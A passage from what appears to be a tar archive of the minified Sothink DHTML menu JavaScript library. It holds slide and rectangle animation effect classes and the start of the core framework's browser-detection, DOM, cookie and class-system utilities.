true;}else{e.style.width=t*this._iDx+"px";e.style.height=t*this._iDy+"px";e.style.left=this._iSX-t*this._iDsx+"px";e.style.top=this._iSY-t*this._iDsy+"px";this._tTid=setTimeout("_STNS.EFFECT.CEffRect._aGlobal["+this._iGid+"].fbShow("+(++t)+")",this._iDt);}e.style.display="block";};CEffRect.fbHide=function(t){var _r=_STNS,e=_r.fdmGetEleById("stEffR_"+this._iGid,this.dmWin);if(!t){_r.fdmGetEleById(this.sDmId,this.dmWin).style.visibility="hidden";t=0;}if(t>=this._iFms){e.style.display="none";this._iStat=0;return true;}else{e.style.width=Math.max(1,this._iCurWid-t*this._iDx)+"px";e.style.height=Math.max(1,this._iCurHei-t*this._iDy)+"px";e.style.left=this._iX+t*this._iDsx+"px";e.style.top=this._iY+t*this._iDsy+"px";this._tTid=setTimeout("_STNS.EFFECT.CEffRect._aGlobal["+this._iGid+"].fbHide("+(++t)+")",this._iDt);}e.style.display="block";};}} steffslip.js 0000666 00000013574 15155054006 0007120 0 ustar 00 /*================================================================ ORC_JS, JavaScript Class Framework version:dhtml menu 9.2,3.10.90326 Copyright 2008 by SourceTec Software Co.,LTD For more information, see:www.sothink.com ================================================================*/ if(typeof _STNS!="undefined"&&_STNS.EFFECT&&!_STNS.EFFECT.CEffSlip){with(_STNS.EFFECT){_STNS.EFFECT.CEffSlip=_STNS.Class(_STNS.EFFECT.CEffect);CEffSlip.register("EFFECT/CEffect>CEffSlip");CEffSlip.construct=function(as){this._tTid=0;this._iX=0;this._iY=0;this._iCurWid=0;this._iCurHei=0;this._bShow=0;this._iGid=-1;this._iFms=12;this._iDt=50;this._iDx=0;this._iDy=0;this.iDir=4;this.iDur=as[3];with(_STNS.EFFECT.CEffSlip){this.fbApply=fbApply;this.fbPlay=fbPlay;this.fbStop=fbStop;this.fbSet=fbSet;this.fbSetStyle=fbSetStyle;this.fbShow=fbShow;this.fbHide=fbHide;this.faParse=faParse;}if(as[4]){this.fbSetStyle(as[4]);}};CEffSlip.fbSet=function(){var _r=_STNS,e,n;if(e=_r.fdmGetEleById(this.sDmId,this.dmWin)){if(e.style.position!="absolute"){return false;}if(this._iGid==-1){n=_r.EFFECT.CEffSlip._aGlobal.length;_r.EFFECT.CEffSlip._aGlobal.push(this);this._iGid=n;}this._iStat=0;return true;}return false;};CEffSlip.fbDel=function(){this.fbStop();if(this._iGid!=-1){_STNS.EFFECT.CEffSlip._aGlobal[this._iGid]=null;}this._iStat=-1;return true;};CEffSlip.fbApply=function(){var _r=_STNS;if(!_r.EFFECT.CEffSlip._aGlobal[this._iGid]){_r.EFFECT.CEffSlip._aGlobal[this._iGid]=this;}if(e=_r.fdmGetEleById(this.sDmId,this.dmWin)){this._iCurWid=_r.fiGetEleWid(e);this._iCurHei=_r.fiGetEleHei(e);this._iDt=Math.ceil(this.iDur/this._iFms);this._iDx=Math.floor(this._iCurWid/this._iFms);this._iDy=Math.floor(this._iCurHei/this._iFms);}this._iStat=1;return true;};CEffSlip.fbPlay=function(){var e=_STNS.fdmGetEleById(this.sDmId,this.dmWin);if(!this._bShow){if(!e.style.clip||e.style.clip.indexOf("auto")!=-1){e.style.clip="rect(0px "+this._iCurWid+"px "+this._iCurHei+"px 0px)";}this.fbHide();}else{if(!e.style.clip||e.style.clip.indexOf("auto")!=-1){e.style.clip="rect("+this._iCurHei+"px 0px 0px "+this._iCurWid+"px)";}this.fbShow();}this._iStat=2;return true;};CEffSlip._aGlobal=[];CEffSlip.fbStop=function(){if(this._iStat>0){clearTimeout(this._tTid);var e=_STNS.fdmGetEleById(this.sDmId,this.dmWin);e.style.left=this._iX+"px";e.style.top=this._iY+"px";e.style.clip="rect(auto auto auto auto)";if(this._bShow){e.style.visibility="visible";}else{e.style.visibility="hidden";}this._iStat=0;}return true;};CEffSlip.fbSetStyle=function(s){var _r=_STNS,ss;ss=_r.foCss2Style(s);if(ss["visibility"]=="hidden"){this._bShow=0;}else{if(ss["visibility"]=="visible"){this._bShow=1;}}if(ss["left"]){this._iX=parseInt(ss["left"]);}if(ss["top"]){this._iY=parseInt(ss["top"]);}if(ss["_stDirection"]){this.iDir=parseInt(ss["_stDirection"]);}};CEffSlip.fbShow=function(t){var e=_STNS.fdmGetEleById(this.sDmId,this.dmWin);if(!t){var cc=this.faParse(e.style.clip);switch(this.iDir){case 1:t=Math.floor(cc[1]/this._iDx);e.style.top=this._iY+"px";break;case 2:t=Math.floor((this._iCurWid-cc[3])/this._iDx);e.style.top=this._iY+"px";break;case 3:t=Math.floor(cc[2]/this._iDy);e.style.left=this._iX+"px";break;case 4:t=Math.floor((this._iCurHei-cc[0])/this._iDy);e.style.left=this._iX+"px";break;}this._tTid=setTimeout("_STNS.EFFECT.CEffSlip._aGlobal["+this._iGid+"].fbShow("+(++t)+")",this._iDt);return true;}if(t>=this._iFms){e.style.left=this._iX+"px";e.style.top=this._iY+"px";e.style.clip="rect(auto auto auto auto)";_STNS.EFFECT.CEffSlip._aGlobal[this._iGid]=null;this._iStat=0;return true;}else{switch(this.iDir){case 1:e.style.left=(this._iX+this._iCurWid-t*this._iDx)+"px";e.style.clip="rect(0px "+t*this._iDx+"px "+this._iCurHei+"px 0px)";break;case 2:e.style.left=(this._iX-this._iCurWid+t*this._iDx)+"px";e.style.clip="rect(0px "+this._iCurWid+"px "+this._iCurHei+"px "+(this._iCurWid-t*this._iDx)+"px)";break;case 3:e.style.top=(this._iY+this._iCurHei-t*this._iDy)+"px";e.style.clip="rect(0px "+this._iCurWid+"px "+t*this._iDy+"px 0px)";break;case 4:e.style.top=(this._iY-this._iCurHei+t*this._iDy)+"px";e.style.clip="rect("+(this._iCurHei-t*this._iDy)+"px "+this._iCurWid+"px "+this._iCurHei+"px 0px)";break;}e.style.visibility="visible";}this._tTid=setTimeout("_STNS.EFFECT.CEffSlip._aGlobal["+this._iGid+"].fbShow("+(++t)+")",this._iDt);return true;};CEffSlip.fbHide=function(t){var e=_STNS.fdmGetEleById(this.sDmId,this.dmWin);if(!t){var cc=this.faParse(e.style.clip);switch(this.iDir){case 1:t=Math.floor((this._iCurWid-cc[1])/this._iDx);e.style.top=this._iY+"px";break;case 2:t=Math.floor(cc[3]/this._iDx);e.style.top=this._iY+"px";break;case 3:t=Math.floor((this._iCurHei-cc[2])/this._iDy);e.style.left=this._iX+"px";break;case 4:t=Math.floor(cc[0]/this._iDy);e.style.left=this._iX+"px";break;}this._tTid=setTimeout("_STNS.EFFECT.CEffSlip._aGlobal["+this._iGid+"].fbHide("+(++t)+")",this._iDt);e.style.visibility="visible";return true;}if(t>=this._iFms){e.style.left=this._iX+"px";e.style.top=this._iY+"px";e.style.clip="rect(auto auto auto auto)";e.style.visibility="hidden";_STNS.EFFECT.CEffSlip._aGlobal[this._iGid]=null;this._iStat=0;return true;}else{switch(this.iDir){case 1:e.style.left=(this._iX+t*this._iDx)+"px";e.style.clip="rect(0px "+(this._iCurWid-t*this._iDx)+"px "+this._iCurHei+"px 0px)";break;case 2:e.style.left=(this._iX-t*this._iDx)+"px";e.style.clip="rect(0px "+this._iCurWid+"px "+this._iCurHei+"px "+t*this._iDx+"px)";break;case 3:e.style.top=(this._iY+t*this._iDy)+"px";e.style.clip="rect(0px "+this._iCurWid+"px "+(this._iCurHei-t*this._iDy)+"px 0px)";break;case 4:e.style.top=(this._iY-t*this._iDy)+"px";e.style.clip="rect("+t*this._iDy+"px "+this._iCurWid+"px "+this._iCurHei+"px 0px)";break;}this._tTid=setTimeout("_STNS.EFFECT.CEffSlip._aGlobal["+this._iGid+"].fbHide("+(++t)+")",this._iDt);}return true;};CEffSlip.faParse=function(s){var t;if(s.indexOf(",")!=-1){t=s.split(",");}else{t=s.split(" ");}t[0]=parseInt(t[0].substr(5));for(var j=1;j<t.length;j++){t[j]=parseInt(t[j]);}return t;};}} stmenu.js 0000666 00000056005 15155054006 0006430 0 ustar 00 /*================================================================ ORC_JS, JavaScript Class Framework version:dhtml menu 9.2,3.10.90326 Copyright 2008 by SourceTec Software Co.,LTD For more information, see:www.sothink.com ================================================================*/ if(typeof _STNS=="undefined"){if(!Array.prototype.push){Array.prototype.push=function(){for(var i=0;i<arguments.length;i++){this[this.length]=arguments[i];}return this.length;};}if(!Array.prototype.pop){Array.prototype.pop=function(){if(this.length){var o=this[this.length-1];this.length--;return o;}};}if(!Array.prototype.shift){Array.prototype.shift=function(){if(this.length){var o=this[0];for(var i=0;i<this.length-1;i++){this[i]=this[i+1];}this.length--;return o;}};}if(!Function.prototype.call){Function.prototype.call=function(_5){var _5=_5||window;_5.__tmp=this;var _6=_5.__tmp(arguments[1],arguments[2],arguments[3],arguments[4],arguments[5],arguments[6],arguments[7],arguments[8],arguments[9],arguments[10]);_5.__tmp=null;return _6;};}_STNS={sVer:"3.0",bDebug:false,fvThrow:function(e){},bBufImg:true,oImgs:{},fvBufImgs:function(){if(!_STNS.bBufImg){return;}if(!_STNS.bLoaded){var s="";for(var i in _STNS.oImgs){if(_STNS.oImgs[i]!=2){s+=_STNS.fsGetTag("div","style=\"display:none\"",_STNS.fsGetImgTag(i,-1,-1));}_STNS.oImgs[i]=2;}document.write(s);}},bIsIE:false,bIsMIE:false,bIsFX:false,bIsOP:false,bIsSF:false,bIsKQ:false,oNav:null,bRTL:false,sDocMd:null,sURL:window.location.href+"",sDIR:null,bLocal:false,fsGetDocMd:function(w){var w=w||window;switch(w.document.compatMode){case "QuirksMode":case "BackCompat":return "quirks";case "CSS1Compat":return "css1";default:return document.compatMode;}},_foGetNav:function(){var _n=navigator,_u=_n.userAgent,_a=_n.appName,_p=_n.platform,n,v,p;if(/(Opera)[ \/]([\d\.]+)/.test(_u)||/(Netscape)\d*\/([\d\.]+)/.test(_u)||/(MSIE) ([\d\.]+)/.test(_u)||/(Safari)\/([\d\.]+)/.test(_u)||/(Konqueror)\/([\d\.]+)/.test(_u)||/(Gecko)\/(\d+)/.test(_u)){n=RegExp.$1.toLowerCase();v=RegExp.$2;}else{if(_a=="Netscape"&&_n.appVersion.charAt(0)=="4"){n="netscape4";v=parseFloat(_n.appVersion);}else{n="unknow";v=0;}}if(n=="netscape"){switch(_a){case "Microsoft Internet Explorer":n="msie";v=/(MSIE) ([\d\.]+)/.exec(_u)[2];break;case "Netscape":n="gecko";v=/(Gecko)\/(\d+)/.exec(_u)[2];}}if(/^(Win)/.test(_p)||/^(Mac)/.test(_p)||/^(SunOS)/.test(_p)||/^(Linux)/.test(_p)||/^(Unix)/.test(_p)){p=RegExp.$1.toLowerCase();}else{p=_p;}return {name:n,version:v,platform:p};},fiGetCT:function(w){var w=w||window;if(_STNS.bIsIE){return (_STNS.fsGetDocMd(w)=="css1"?w.document.documentElement:w.document.body).scrollTop;}else{return w.pageYOffset;}},fiGetCL:function(w){var w=w||window;if(_STNS.bIsIE){return (_STNS.fsGetDocMd(w)=="css1"?w.document.documentElement:w.document.body).scrollLeft;}else{return w.pageXOffset;}},fiGetCW:function(w){var w=w||window;if(_STNS.bIsIE){return (_STNS.fsGetDocMd(w)=="css1"?w.document.documentElement:w.document.body).clientWidth;}else{if(w.scrollbars&&w.scrollbars.visible||w.innerHeight<document.documentElement.offsetHeight){return w.innerWidth-20;}}return w.innerWidth;},fiGetCH:function(w){var w=w||window;if(_STNS.bIsIE){return (_STNS.fsGetDocMd(w)=="css1"?w.document.documentElement:w.document.body).clientHeight;}else{if(w.scrollbars&&w.scrollbars.visible||w.innerWidth<document.documentElement.offsetWidth){return w.innerHeight-20;}}return w.innerHeight;},foGetMediaInfor:function(s){_STNS.fvThrow(new Error("_STNS.runTime error:call foGetMediaInfor that has not been implemented"));},oLibs:{},sLibPth:"",fvInitLib:function(){var scs,sc,s,t,ls,pth;if(_STNS.bIsFX&&!_STNS.faGetElesByTagName("body").length){var hds=_STNS.faGetElesByTagName("head");sc=hds[0].lastChild;}else{scs=_STNS.faGetElesByTagName("script");sc=scs[scs.length-1];}if(sc){s=sc.src;}if(s){_STNS.sLibPth=s.substr(0,s.lastIndexOf("/")+1);t=_STNS.fcoGetAttribute(sc,"sothinkdebug");if(t=="true"){pth=_STNS.fsGetAbsPth(_STNS.sLibPth+"debug/stdebug.js");if(!_STNS.oLibs[pth]){_STNS.oLibs[pth]={state:1,defer:0};}}t=_STNS.fcoGetAttribute(sc,"sothinklib");if(t){ls=t.split(";");for(var i=0;i<ls.length;i++){if(!ls[i]){continue;}if(!_STNS.fbIsFile(ls[i])){ls[i]+=".js";}pth=_STNS.fsGetAbsPth(_STNS.sLibPth+ls[i]);if(_STNS.oLibs[pth]){continue;}_STNS.oLibs[pth]={state:1,defer:0};}}}else{_STNS.fvThrow(new Error("_STNS.runTime error:can't get lib path"));}},fvInc:function(s,f){if(!_STNS.oLibs[s]){_STNS.oLibs[s]={state:1,defer:f};}},fvLoadLib:function(){var s="";with(_STNS){for(var i in oLibs){if(oLibs[i].state!=2){if(bLoaded){fbInsJs(i);}else{s+=fsGetJsTag(i,oLibs[i].defer);}oLibs[i].state=2;}}}if(s){document.write(s);}},bLoaded:false,_aLoads:[],fbAddLoad:function(f){if(!_STNS.bLoaded&&typeof f=="function"){return _STNS._aLoads.push(f);}else{if(_STNS.bLoaded){_STNS.fvThrow(new Error("_STNS.runTime error:Page has been loaded!"));}else{_STNS.fvThrow(new Error("_STNS.runTime error:Not a function is pushed into onload event!"));}}return false;},_fvOnload:function(){with(_STNS){if(bLoaded){return;}bLoaded=true;for(var j=0;j<_aLoads.length;j++){_aLoads[j]();}}},_fvInitOnload:function(){if(_STNS.bIsIE&&window.attachEvent){window.attachEvent("onload",_STNS._fvOnload);}else{if(_STNS.oNav.name!="konqueror"&&window.addEventListener){window.addEventListener("load",_STNS._fvOnload,false);}else{if(!window.onload||window.onload.toString()!=_STNS._fvOnload.toString()){if(typeof window.onload=="function"){_STNS.fbAddLoad(window.onload);}onload=_STNS._fvOnload;}}}},_aCks:[],bCkPg:false,nCkTid:0,nCkTime:100,fvAddCk:function(f){if(typeof f=="function"){with(_STNS){if(bCkPg){clearTimeout(nCkTid);bCkPg=false;}_aCks.push(f);if(bLoaded){_fvCkPg();}}}else{_STNS.fvThrow(new Error("_STNS.runTime error:Not a function is pushed into check page event!"));}return false;},_fvCkPg:function(){with(_STNS){if(_aCks.length){bCkPg=true;for(var i=0;i<_aCks.length;i++){_aCks[i]();}nCkTid=setTimeout("_STNS._fvCkPg()",nCkTime);}else{bCkPg=false;}}},bShield:false,oDefCSS:{tb:"border-style:none;background-color:transparent;background-image:none;",tr:"border-style:none;background-color:transparent;background-image:none;",td:"border-style:none;background-color:transparent;background-image:none;",dv:"border-style:none;background-color:transparent;background-image:none;margin:0px;padding:0px;",a:"display:block;border-style:none;background-color:transparent;background-image:none;margin:0px;padding:0px;",hd:"display:none;",sp:"border-style:none;background-color:transparent;background-image:none;margin:0px;padding:0px;"},foCss2Obj:function(s){var o={},a,re=/([\w\-_]+):([^;]+)(;|$)/,ra;a=s.split(";");for(var i=0;i<a.length;i++){ra=re.exec(a[i]);if(ra){o[ra[1]]=ra[2];}}return o;},foCss2Style:function(s){var cs=_STNS.foCss2Obj(s),re=/-([a-z])/,o={},i,k,t;for(i in cs){t=re.exec(i);if(t){k=i.replace("-"+t[1],t[1].toUpperCase());}else{k=i;}o[k]=cs[i];}return o;},fsObj2Css:function(a){var s="";for(var i in a){if(a[i]!=null){s+=i+":"+a[i]+";";}}return s;},fvCSSShield:function(){with(_STNS){if(bLoaded){bShield=false;}else{if(faGetElesByTagName("body")&&faGetElesByTagName("body").length){bShield=false;}else{var i,s="\n<style type='text/css'>\n";for(i in oDefCSS){if(i=="a"){s+=".sta:link,.sta:hover,.sta:active,.sta:visited";}else{s+=".st"+i;}s+="{"+oDefCSS[i]+"}\n";}s+="</style>";bShield=true;document.write(s);}}}},fsReadCoki:function(n){var i,cs=document.cookie.split("; ");for(i=0;i<cs.length;i++){if(!cs[i].indexOf(n+"=")){return cs[i].substr(n.length);}}},fvSaveCoki:function(n,v,t){var s=n+"="+v+"; ",d=new Date;if(!t||!v){s+="expires=Fri, 31 Dec 1999 23:59:59 GMT; ";}else{s+="expires="+((new Date(d-0+t)).toGMTString())+"; ";}s+="path=/; ";document.cookie=s;},ffGetFun:function(f){if(typeof f=="function"){return f;}else{if(typeof f=="string"&&window[f]){return window[f];}}},fbIsAbsPth:function(s){var t=s.toLowerCase();return /^(#|\?|\/|[a-z]:|http:|https:|file:|ftp:|javascript:|vbscript:|mailto:|about:|gopher:|news:|res:|telnet:|view-source|wais:|rtsp:|mms:|outlook:)/.test(t);},fsGetAbsPth:function(ss){var s=ss;if(!s){return s;}var re,t;if(!s.indexOf("//")){return s;}if(s.charAt(0)=="/"){re=/^(file:\/{2,}[^\/]+\/|http:\/\/[^\/]+\/|https:\/\/[^\/]+\/)/;if(re.exec(_STNS.sDIR)){s=RegExp.$1+s.substr(1);}else{return s;}}else{if(s=="#"){if(_STNS.sURL.charAt(_STNS.sURL.length-1)!="#"){return _STNS.sURL+"#";}else{return _STNS.sURL;}}else{if(!_STNS.fbIsAbsPth(s)){s=_STNS.sDIR+s;}else{return s;}}}while(s.indexOf("/./")>0){s=s.replace("/./","/");}while((t=s.indexOf("/../"))>0){var p1,p2;p1=s.substr(0,t);p2=s.substr(t).replace("/../","");p1=p1.substr(0,p1.lastIndexOf("/")+1);s=p1+p2;}return s;},fsGetImgTag:function(s,w,h,b,id,nw,nh){if(!s||!w||!h){return "";}if(nw&&nh){if(w==-1&&h==-1){w=nw,h=nh;}else{if(w==-1&&h!=-1){w=Math.floor(nw*h/nh);}else{if(w!=-1&&h==-1){h=Math.floor(nh*w/nw);}}}}return "<img class='stimg' src=\""+s+"\""+(w==-1?"":" width="+w)+(h==-1?"":" height="+h)+" border="+(b?b:0)+(id?" id='"+id+"'":"")+">";},fsGetJsTag:function(s,f){return "<script type='text/javascript' language='javascript1.2' src=\""+s+"\""+(f?" DEFER":"")+"></"+"script>";},fsGetTag:function(t,a,s){return "<"+t+" "+a+">"+(s?s:"")+"</"+t+">";},fbIsFile:function(s){return /\w+\.\w+$/.test(s);},fbIsImg:function(s){return /\.(gif|png|jpg|jpeg|bmp)$/.test(s.toLowerCase());},fsGetDIR:function(s){var t=s.toLowerCase();if(!t.indexOf("file:/")||!t.indexOf("http://")||!t.indexOf("https://")){return s.substr(0,s.lastIndexOf("/")+1);}else{return "";}},fsGetHTMLEnti:function(s,f){if(!s){return "";}var re;re=/&/g;s=s.replace(re,"&");if(!f){re=/ /g;s=s.replace(re," ");}re=/</g;s=s.replace(re,"<");re=/>/g;s=s.replace(re,">");re=/\"/g;s=s.replace(re,""");return s;},faJoinA:function(a,b){var c=[],l=Math.max(a.length,b.length);for(var i=0;i<l;i++){if(a[i]==null){c[i]=b[i];}else{c[i]=a[i];}}return c;},S64:"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ#@",fiTransX2D:function(n,m){m=String(m).replace(/ /gi,"");if(m==""){return 0;}var a=_STNS.S64.substr(0,n);if(eval("m.replace(/["+a+"]/gi,'')")!=""){_STNS.fvThrow(new Error("_STNS.runTime error:Transform bad number from "+m+" to 10!"));return 0;}var t=0,c=1;for(var x=m.length-1;x>-1;x--){t+=c*(a.indexOf(m.charAt(x)));c*=n;}return t;},fsTranD2X:function(n,m){m=String(m).replace(/ /gi,"");if(m==""){return 0;}if(parseInt(m)!=m){_STNS.fvThrow(new Error("_STNS.runTime error:Transform bad number from 10 to "+m+"!"));return "";}var t="",a=_STNS.S64.substr(0,n);while(m!=0){var b=m%n;t=a.charAt(b)+t;m=(m-b)/n;}if(!t){t="0";}return t;},faCP2PP:function(cp,w){var t,l;with(_STNS){t=fiGetCT(w);l=fiGetCL(w);return [cp[0]+l,cp[1]+t];}},faPP2CP:function(pp,w){var t,l;with(_STNS){t=fiGetCT(w);l=fiGetCL(w);return [pp[0]-l,pp[1]-t];}},fsGetLen:function(t,l,p,b,s,w){var _r=_STNS,u;if(w==null){w=true;}if(s==null){s=true;}if(p==null){p=0;}if(b==null){b=0;}if(typeof l=="string"){u=/%|px|pt|em|ex|pc|in|cm|mm$/.exec(l);}if(u){switch(u[0]){case "%":return l;default:l=parseInt(l),u=u[0];}}else{l=parseInt(l);u="px";}switch(t){case "dv":if(_r.sDocMd=="css1"||(!_r.bIsIE&&!_r.bIsOP||(_r.bIsOP&&parseInt(_r.oNav.version)>=8))){return l-2*p-2*b+u;}break;case "tb":if(_r.bIsMIE&&!w&&s){return l-2*b-2*p+u;}break;case "td":if(_r.bIsSF){if(_r.sDocMd!="css1"||w){if(s){return l-2*b+u;}else{return l-2*p+u;}}else{return l-2*p-2*b+u;}}else{if(!_r.bIsMIE&&(_r.sDocMd=="css1"||w)){return l-2*b-2*p+u;}}break;}return l+u;},fdmGetEleById:function(id,w){var w=w||window;with(_STNS){if(bIsIE){var es=w.document.all(id);if(es&&es.length&&!es.tagName){return es[0];}else{return es;}}else{return w.document.getElementById(id);}}},faGetElesByTagName:function(n,w){var w=w||window;with(_STNS){if(bIsIE){return w.document.all.tags(n);}else{return w.document.getElementsByTagName(n);}}},faGetElesByCls:function(n,w){var w=w||window;var i,a=[],el,els=_STNS.bIsIE?w.document.all:w.document.getElementsByTagName("*");for(i=0;el=els[i];i++){if(el.className==n){a.push(el);}}return a;},fdmGetFmByName:function(n,w){var w=w||window;if(w.frames[t]){return w.frames[t];}else{if(w.parent){return w.parent.frames[t];}}},fbIsPar:function(p,c){if(_STNS.bIsIE){return p.contains(c);}else{if(!p||!c){return false;}if(p==c){return true;}do{if(c.parentNode){c=c.parentNode;}else{break;}if(p==c){return true;}}while(c);}return false;},fbInsHTML:function(e,p,h){if(_STNS.bIsIE){return e.insertAdjacentHTML(p,h);}else{var d=e.ownerDocument,t=d.createElement("span");t.innerHTML=h;switch(p){case "beforeBegin":return e.parentNode.insertBefore(t,e);case "afterBegin":return e.insertBefore(t,e.firstChild);case "beforeEnd":return e.appendChild(t);case "afterEnd":if(e.nextSibling){return e.parentNode.insertBefore(t,e.nextSibling);}else{return e.parentNode.appendChild(t);}}}return false;},fbInsEle:function(e,p,ne){if(_STNS.bIsIE){return e.insertAdjacentElement(p,ne);}else{switch(p){case "beforeBegin":return e.parentNode.insertBefore(ne,e);case "afterBegin":return e.insertBefore(ne,e.firstChild);case "beforeEnd":return e.appendChild(ne);case "afterEnd":if(o.nextSibling){return e.parentNode.insertBefore(ne,e.nextSibling);}else{return e.parentNode.appendChild(ne);}}}},fbDelEle:function(e){var p=e.parentNode;return p.removeChild(e);},fbInsJs:function(s,l){var l=l||"JavaScript";var hd=_STNS.faGetElesByTagName("HEAD");if(hd&&hd[0]){l=l.toLowerCase();var t=document.createElement("script");t.language=l;if(!l.indexOf("javascript")||!l.indexOf("jscript")){t.type="text/javascript";}t.src=s;_STNS.fbInsEle(hd,"beforeEnd",t);}},fdmCreateXMLHttp:function(){var _9a;if(window.XMLHttpRequest){_9a=new XMLHttpRequest();}else{var _9b=["MSXML2.XMLHTTP.5.0","MSXML2.XMLHTTP.4.0","MSXML2.XMLHTTP.3.0","MSXML2.XMLHTTP","Microsoft.XMLHTTP"];for(var n=0;n<_9b.length;n++){try{_9a=new ActiveXObject(_9b[n]);break;}catch(e){_9a=null;}}}if(!_9a){_9a=null;_STNS.fvThrow(new Error("Create XMLHttpRequest fail!"));return;}if(_9a.readyState==null){_9a.readyState=0;_9a.addEventListener("load",function(){_9a.readyState=4;if(typeof _9a.onreadystatechange=="function"){_9a.onreadystatechange();}},false);}return _9a;},fdmCreateXMLDoc:function(){var _9d;if(_STNS.bIsIE){var _9e=["Msxml2.DOMDocument.4.0","Msxml2.DOMDocument.3.0","Msxml2.DOMDocument","Microsoft.XMLDOM"];for(var n=0;n<_9e.length;n++){try{_9d=new ActiveXObject(_9e[n]);break;}catch(e){}}}else{_9d=document.implementation.createDocument("","",null);}if(!_9d){_STNS.fvThrow(new Error("Create XMLDOMDocument fail!"));return;}return _9d;},faGetElePos:function(e){if(!e){return;}var x=y=bl=bt=0;var v=_STNS.oNav.version,a=new Array(v,523.12),sv=a.sort()[0]==523.12;if(_STNS.bIsSF&&sv){var o=e.offsetParent?e.offsetParent.offsetParent?e.offsetParent.offsetParent.offsetParent?e.offsetParent.offsetParent.offsetParent?e.offsetParent.offsetParent.offsetParent.offsetParent?e.offsetParent.offsetParent.offsetParent.offsetParent:null:null:null:null:null;while(o){if(o.tagName=="TABLE"){bl=parseInt(_STNS.fsGetEleStyle(o,"borderLeftWidth"));bt=parseInt(_STNS.fsGetEleStyle(o,"borderTopWidth"));if(!isNaN(bl)){x+=bl;}if(!isNaN(bt)){y+=bt;}}o=o.offsetParent;}}while(e){x+=e.offsetLeft;y+=e.offsetTop;if((_STNS.oNav.name=="konqueror"||_STNS.oNav.name=="safari")&&e.style.position.toLowerCase()=="absolute"){break;}switch(e.tagName){case "TD":if(_STNS.bIsIE||(_STNS.bIsSF&&sv)||(_STNS.bIsOP&&_STNS.oNav.version<9)){bl=parseInt(_STNS.fsGetEleStyle(e,"borderLeftWidth"));bt=parseInt(_STNS.fsGetEleStyle(e,"borderTopWidth"));if(!isNaN(bl)){x+=bl;}if(!isNaN(bt)){y+=bt;}}break;}if(e.parentNode&&e.parentNode.tagName=="DIV"){var s=_STNS.fsGetEleStyle(e.parentNode,"overflow").toLowerCase();var w=_STNS.fsGetEleStyle(e.parentNode,"width").toLowerCase();if(s=="hidden"||s=="scroll"||s=="auto"){x-=e.parentNode.scrollLeft;y-=e.parentNode.scrollTop;}if(w&&w!="auto"){if((_STNS.bIsFX&&_STNS.oNav.version>20060414&&s!="visible")||(_STNS.bIsIE&&_STNS.oNav.version>=5)){bl=parseInt(_STNS.fsGetEleStyle(e.parentNode,"borderLeftWidth"));bt=parseInt(_STNS.fsGetEleStyle(e.parentNode,"borderTopWidth"));if(!isNaN(bl)){x+=bl;}if(!isNaN(bt)){y+=bt;}}}}if(e.parentNode&&e.offsetParent&&e.parentNode!=e.offsetParent){if(e.offsetParent.tagName=="DIV"){var s=_STNS.fsGetEleStyle(e.offsetParent,"overflow").toLowerCase();var w=_STNS.fsGetEleStyle(e.offsetParent,"width").toLowerCase();if(s=="hidden"||s=="scroll"||s=="auto"){x-=e.offsetParent.scrollLeft;y-=e.offsetParent.scrollTop;}if(w&&w!="auto"){if((_STNS.bIsFX&&_STNS.oNav.version>20060414&&s!="visible")||(_STNS.bIsIE&&_STNS.oNav.version>=5)){bl=parseInt(_STNS.fsGetEleStyle(e.offsetParent,"borderLeftWidth"));bt=parseInt(_STNS.fsGetEleStyle(e.offsetParent,"borderTopWidth"));if(!isNaN(bl)){x+=bl;}if(!isNaN(bt)){y+=bt;}}}}}e=e.offsetParent;}return [x,y];},fiGetEleWid:function(e){return e.offsetWidth;},fiGetEleHei:function(e){return e.offsetHeight;},fsGetEleStyle:function(e,p){if(!e||!p){return;}if(_STNS.bIsIE){return e.currentStyle[p];}else{if(_STNS.bIsFX||_STNS.bIsSF||_STNS.bIsOP){var w=e.ownerDocument.defaultView;p=p.replace(/([A-Z])/g,"-$1");return w.getComputedStyle(e,"").getPropertyValue(p.toLowerCase());}else{return e.style[p];}}},fcoGetAttribute:function(e,a){if(!e||!a){return;}if(_STNS.bIsIE){return e[a];}else{return e.getAttribute(a);}},fbFalse:function(){return false;},fbTrue:function(){return true;}};_STNS.Class=(function(){var _af=function(){var c=function(as){if(_STNS.bIsIE){this._cls=this.constructor;}else{this._cls=arguments.callee;}_b2.call(this,as);};_b3(c,arguments);c.register=_b4;c.toString=_b5;c.subclsOf=_b6;c.superclassOf=_b7;return c;};_af.toString=function(){return "[object Class]";};_af.getC=function(pth){var _b9=[];if(!_ba(pth,_b9)||!_bb[_b9[0]][_b9[1]]){_STNS.fvThrow(new Error("Class get error: Class \""+pth+"\" is not found"));return;}return _bb[_b9[0]][_b9[1]];};_af.getClsLst=function(o,pre){var o=o||_bb,pre=pre||"/",sp,s="";for(var i in o){if(typeof o[i]=="object"){sp=pre+i+"/";s+=_STNS.Class.getClsLst(o[i],sp);}else{s+=pre+i+"\n";}}return s;};var _b4=function(pth){var _c2=[];if(!_ba(pth,_c2)){_STNS.fvThrow(new Error("Class register error: Invalid class path:"+pth));return;}var pkg=_c2[0];var cn=_c2[1];if(pkg){if(!_bb[pkg]){_bb[pkg]={};}var _c5=_bb[pkg][cn];if(_c5){_STNS.fvThrow(new Error("Class register error: Class \""+pth+"\" already exists"));return;}_bb[pkg][cn]=this;}else{var _c5=_bb[cn];if(_c5){_STNS.fvThrow(new Error("Class register error: Class \""+pth+"\" already exists"));return;}_bb[cn]=this;}this._pkg=pkg;this._cn=cn;};var _bb={};var _c6=function(_c7,_c8){if(typeof _c7=="string"){_c7=_STNS.Class.getC(_c7);}if(typeof _c8=="string"){_c8=_STNS.Class.getC(_c8);}if(typeof _c7!="function"||typeof _c8!="function"){return false;}if(!_c7._supers){return false;}for(var i=0;i<_c7._supers.length;i++){if(_c7._supers[i]==_c8){return true;}else{if(_c6(_c7._supers[i],_c8)){return true;}}}return false;};var _b6=function(cls){return _c6(this,cls);};var _b7=function(cls){return _c6(cls,this);};var _ba=function(pth,_cd){if(typeof pth!="string"||!pth){return false;}var n=pth.lastIndexOf("/");if(n>-1){_cd[0]=pth.substr(0,n);_cd[1]=pth.substr(n+1);}else{_cd[0]="";_cd[1]=pth;}return true;};var _b3=function(c,as){c._supers=[];for(var i=0;i<as.length;i++){var s=as[i];if(typeof s=="string"){s=_STNS.Class.getC(s);}if(typeof s!="function"){_STNS.fvThrow(new Error("Class create error: Invalid superclass: "+"args["+i+"]"));return;}c._supers.push(s);}};var _b2=function(as){var c=this._cls;for(var 